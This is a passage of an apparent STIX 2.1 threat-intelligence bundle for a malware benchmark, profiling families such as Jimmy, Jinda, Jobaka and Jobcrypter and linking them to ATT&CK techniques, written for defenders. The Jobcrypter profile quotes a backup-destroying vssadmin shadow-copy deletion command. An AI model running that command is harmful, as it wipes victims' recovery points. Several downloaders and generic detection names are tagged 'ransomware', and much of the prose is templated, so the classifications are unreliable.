      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e892a598-6834-523a-9ca3-457a89bbe36c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Jimmy",
      "description": "Jimmy (tracked across incident response engagements and threat intelligence feeds under signatures including Ransom:Win32/Jimmy, Trojan-Ransom.Win32.Jimmy, and Ransom.Jimmy) is a destructive Windows ransomware strain that emerged in 2021. Built upon source code foundations derived from leaked Babuk and AstraLocker ransomware codebases, Jimmy targets small-to-medium businesses and corporate endpoints. Distributed primarily via compromised Remote Desktop Protocol (RDP) sessions, weaponized software installers, and phishing links, Jimmy initializes execution by elevating local privileges and terminating system services that could lock active database or virtualization files, specifically targeting MSSQL, MySQL, Exchange, and Hyper-V services. The ransomware executes vssadmin.exe commands to purge Volume Shadow Copies and disables Windows Error Recovery alerts. Jimmy then initiates high-speed multi-threaded encryption using ChaCha20 symmetric stream ciphers and an embedded RSA-2048 public master key, appending the .jimmy extension to locked files and leaving ransom instructions titled HOW_TO_RESTORE_JIMMY_FILES.txt. (Observed samples in benchmark: 57)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Jimmy",
        "Trojan-Ransom.Win32.Jimmy",
        "Ransom.Jimmy",
        "Win32/Jimmy"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Jimmy",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/jimmy"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--89c46065-54ab-5cad-a5e7-cbba3094b851",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e892a598-6834-523a-9ca3-457a89bbe36c",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jimmy exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3081ee67-c343-54cd-aba2-c49f153a1eb8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e892a598-6834-523a-9ca3-457a89bbe36c",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jimmy exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--45654a03-ebf0-5e36-84f4-169705d31b32",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e892a598-6834-523a-9ca3-457a89bbe36c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jimmy exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--66ea09e9-ff6e-5f6d-91e5-e1c9458368f8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e892a598-6834-523a-9ca3-457a89bbe36c",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jimmy exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0275a1fa-97b9-55cf-abed-3bf6c17c8d7d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e892a598-6834-523a-9ca3-457a89bbe36c",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jimmy exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--fb554730-3239-5f12-804e-c38e5778d80e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Jinda",
      "description": "<h3>Executive Summary</h3>\nJinda is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nJinda is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Jinda operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Jinda ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Jinda receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Jinda infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Jinda executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Jinda frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Jinda",
        "Downloader.Jinda",
        "Win32/Jinda"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Jinda",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/jinda"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4c2de04b-5da1-560b-8c1c-386f6b9e7c03",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fb554730-3239-5f12-804e-c38e5778d80e",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jinda exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--25c01198-05ca-59b3-bc39-0fad93c054b3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fb554730-3239-5f12-804e-c38e5778d80e",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jinda exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8a4014af-8bc6-5ca1-99a3-70345d4bbaa6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fb554730-3239-5f12-804e-c38e5778d80e",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jinda exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6bc20c6c-8e5a-5714-b1fa-0f2d6b0ac225",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Jintor",
      "description": "Trojan:Win32/Jintor is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Jintor</b><br>To an end-user, a Jintor infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Jintor is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Jintor is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Jintor frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Jintor reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 10)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Jintor",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/jintor"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2e66d392-632a-5359-9e21-d2bac942338a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6bc20c6c-8e5a-5714-b1fa-0f2d6b0ac225",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jintor exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b75a4904-aca1-52bb-8c4c-2b92b920b0d7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6bc20c6c-8e5a-5714-b1fa-0f2d6b0ac225",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jintor exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a66e7ed2-c021-58ec-86de-a49f27d41348",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6bc20c6c-8e5a-5714-b1fa-0f2d6b0ac225",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jintor exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dbbaf2f1-ccd2-5d4b-80b2-5cdbef947c10",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6bc20c6c-8e5a-5714-b1fa-0f2d6b0ac225",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jintor exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0202ba13-1b2c-5a85-a6d7-fe6c357bbacb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6bc20c6c-8e5a-5714-b1fa-0f2d6b0ac225",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jintor exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--680bd12e-4d60-553e-8917-57f69be8f11d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Jnkfasgyvyo",
      "description": "Trojan:Win32/Jnkfasgyvyo (or similar auto-generated strings) represents the antivirus industry's response to highly polymorphic malware or Domain Generation Algorithms (DGA). Instead of a named family, this string is a generic, randomized identifier assigned by an AV engine to a threat that is rapidly shifting its signature to evade detection (`T1027`). This indicates the presence of a sophisticated dropper or a botnet agent actively communicating with shifting C2 infrastructure.<br><br><b>Understanding Polymorphic/DGA Identifiers</b><br>To an end-user, the file is simply blocked. For a SOC analyst, a detection with a randomized name like 'Jnkfasgyvyo' is a signal that static IOCs (like file hashes) will be nearly useless for hunting. The attacker is using automated tools to recompile the malware for every victim, or using DGA to contact thousands of different domains a day.<br><br><b>Execution and Polymorphic Mechanics</b><br>When executed, polymorphic threats unpack themselves dynamically in memory (`T1027.002`). They often inject their code into legitimate processes (like `svchost.exe`) (`T1055`) to hide their activity. If the threat utilizes DGA (`T1568.002`), it uses a mathematical algorithm to generate hundreds of potential C2 domain names. The malware attempts to connect to these domains until it finds one that the attacker has actually registered and activated for that day's operations, making IP/Domain blacklisting highly ineffective.<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends entirely on the payload the polymorphic dropper intends to deliver (ransomware, infostealers, etc.). Host-based IoCs must focus on behavior: EDR alerts for process injection, anomalous child process spawning, or rapid creation/deletion of temporary files. Network IoCs are characterized by the malware generating a massive volume of DNS requests for non-existent, randomly generated domains (NXDOMAIN responses), mixed with a few successful connections. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Jnkfasgyvyo",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/jnkfasgyvyo"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dc7c32d5-a35b-53b7-9069-b65f68ce8fd4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--680bd12e-4d60-553e-8917-57f69be8f11d",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jnkfasgyvyo exhibits technique T1027 (Obfuscated Files or Information (Polymorphism used to evade static signatures))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1a6f82bf-76a4-5f97-9ff3-e4c1b43ed828",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--680bd12e-4d60-553e-8917-57f69be8f11d",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jnkfasgyvyo exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (DGA) (Evading C2 blacklisting))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--37e218c2-8878-553f-a7bb-455613d19c8e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--680bd12e-4d60-553e-8917-57f69be8f11d",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jnkfasgyvyo exhibits technique T1055 (Process Injection (Hiding the unpacked, malicious code inside legitimate processes))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b8a1b32f-de80-5288-b284-defbcc9e9994",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Jo0Br8Hglsii",
      "description": "Trojan:Win32/Jo0br8hglsii (or similar auto-generated strings) represents the antivirus industry's response to highly polymorphic malware or Domain Generation Algorithms (DGA). Instead of a named family, this string is a generic, randomized identifier assigned by an AV engine to a threat that is rapidly shifting its signature to evade detection (`T1027`). This indicates the presence of a sophisticated dropper or a botnet agent actively communicating with shifting C2 infrastructure.<br><br><b>Understanding Polymorphic/DGA Identifiers</b><br>To an end-user, the file is simply blocked. For a SOC analyst, a detection with a randomized name like 'Jo0br8hglsii' is a signal that static IOCs (like file hashes) will be nearly useless for hunting. The attacker is using automated tools to recompile the malware for every victim, or using DGA to contact thousands of different domains a day.<br><br><b>Execution and Polymorphic Mechanics</b><br>When executed, polymorphic threats unpack themselves dynamically in memory (`T1027.002`). They often inject their code into legitimate processes (like `svchost.exe`) (`T1055`) to hide their activity. If the threat utilizes DGA (`T1568.002`), it uses a mathematical algorithm to generate hundreds of potential C2 domain names (e.g., `ajkf83nd.com`, `93kmdla.net`). The malware attempts to connect to these domains until it finds one that the attacker has actually registered and activated for that day's operations, making IP/Domain blacklisting highly ineffective.<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends entirely on the payload the polymorphic dropper intends to deliver (ransomware, infostealers, etc.). Host-based IoCs must focus on behavior: EDR alerts for process injection, anomalous child process spawning, or rapid creation/deletion of temporary files. Network IoCs are characterized by the malware generating a massive volume of DNS requests for non-existent, randomly generated domains (NXDOMAIN responses), mixed with a few successful connections. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Jo0Br8Hglsii",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/jo0br8hglsii"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--10813611-7aff-5fe8-b36b-3b870946d5ef",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b8a1b32f-de80-5288-b284-defbcc9e9994",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jo0Br8Hglsii exhibits technique T1027 (Obfuscated Files or Information (Polymorphism used to evade static signatures))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e7a0ffcd-b9f9-5f09-b0e4-aeea6ae53f2f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b8a1b32f-de80-5288-b284-defbcc9e9994",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jo0Br8Hglsii exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (DGA) (Evading C2 blacklisting))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--55efd2e9-bf48-56c3-86a0-d16478b757c1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b8a1b32f-de80-5288-b284-defbcc9e9994",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jo0Br8Hglsii exhibits technique T1055 (Process Injection (Hiding the unpacked, malicious code inside legitimate processes))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2fcd4009-ca37-5f9e-a6e8-9812032f357a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Jobaka",
      "description": "Trojan:Win32/Jobaka is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Jobaka</b><br>To an end-user, a Jobaka infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Jobaka is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Jobaka is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Jobaka frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Jobaka reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Jobaka",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/jobaka"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9f09e25c-837c-5ce6-aa85-9231a07433ca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2fcd4009-ca37-5f9e-a6e8-9812032f357a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jobaka exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--96bf33e1-0685-5cfc-881a-9e696fd8c99c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2fcd4009-ca37-5f9e-a6e8-9812032f357a",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jobaka exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--97db3342-7300-5c60-bc47-458e9f362c60",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2fcd4009-ca37-5f9e-a6e8-9812032f357a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jobaka exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--93f3b988-0cb7-5eb3-af05-27b076062a23",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2fcd4009-ca37-5f9e-a6e8-9812032f357a",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jobaka exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aa49d2e3-a412-577e-a786-9f910ea6b623",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2fcd4009-ca37-5f9e-a6e8-9812032f357a",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jobaka exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e7eb27a5-9bd0-53ac-8668-01f98917bcde",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Jobcrypter",
      "description": "<h3>Executive Summary</h3>\nJobCrypter is a destructive Ransomware family designed to extort financial payment from victims by encrypting their critical data. It is known for its relatively crude implementation but devastating impact, prioritizing rapid, widespread encryption of local and network-mapped drives to cause maximum operational disruption. It often disguises its initial payload as a job application, resume, or HR-related document.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nJobCrypter is typically distributed via highly targeted spear-phishing campaigns directed at Human Resources (HR) departments or hiring managers. The emails contain malicious attachments (often ZIP files containing disguised executables, or Word documents with malicious macros) masquerading as resumes (e.g., `resume_applicant_name.exe` or `CV.docm`).\n\nUpon execution, JobCrypter initiates a destructive attack sequence:\n<ul>\n<li><strong>Volume Shadow Copy Deletion:</strong> Before encryption begins, the ransomware executes commands (e.g., `vssadmin.exe Delete Shadows /All /Quiet`) to destroy local system backups and recovery points, ensuring the victim cannot easily restore their files.</li>\n<li><strong>Rapid Encryption:</strong> It scans the hard drive and any accessible network shares for specific file extensions (documents, databases, images). It encrypts these files using strong cryptography and typically appends a unique extension (e.g., `.jobcrypt`) to the affected files.</li>\n<li><strong>Ransom Note Generation:</strong> A text or HTML file is dropped onto the desktop and in encrypted directories. This note provides instructions on how to purchase cryptocurrency and contact the attackers (often via an anonymous email address) to obtain the decryption key.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA JobCrypter infection is a critical security incident resulting in immediate and often catastrophic loss of data availability. The targeted nature of the phishing campaigns makes HR and recruitment teams highly susceptible. The destruction of local backups means that without secure, offline backups, organizations face massive data loss.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Network Severance:</strong> The infected endpoint must be immediately disconnected from the corporate network, Wi-Fi, and any VPNs to prevent the ransomware from propagating to mapped network drives and cloud storage sync folders.</li>\n<li><strong>Preserve Memory (Do Not Reboot):</strong> If possible, capture a forensic image of the system's RAM before powering it down, as the decryption key might temporarily reside in volatile memory.</li>\n<li><strong>Eradication and Restoration:</strong> Paying the ransom is strongly discouraged. The only reliable remediation strategy is a complete bare-metal wipe of the infected systems and a full restoration from secure, air-gapped backups.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom.JobCrypter",
        "Trojan-Ransom.Win32.JobCrypter",
        "Win32/Filecoder.JobCrypter"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Jobcrypter",
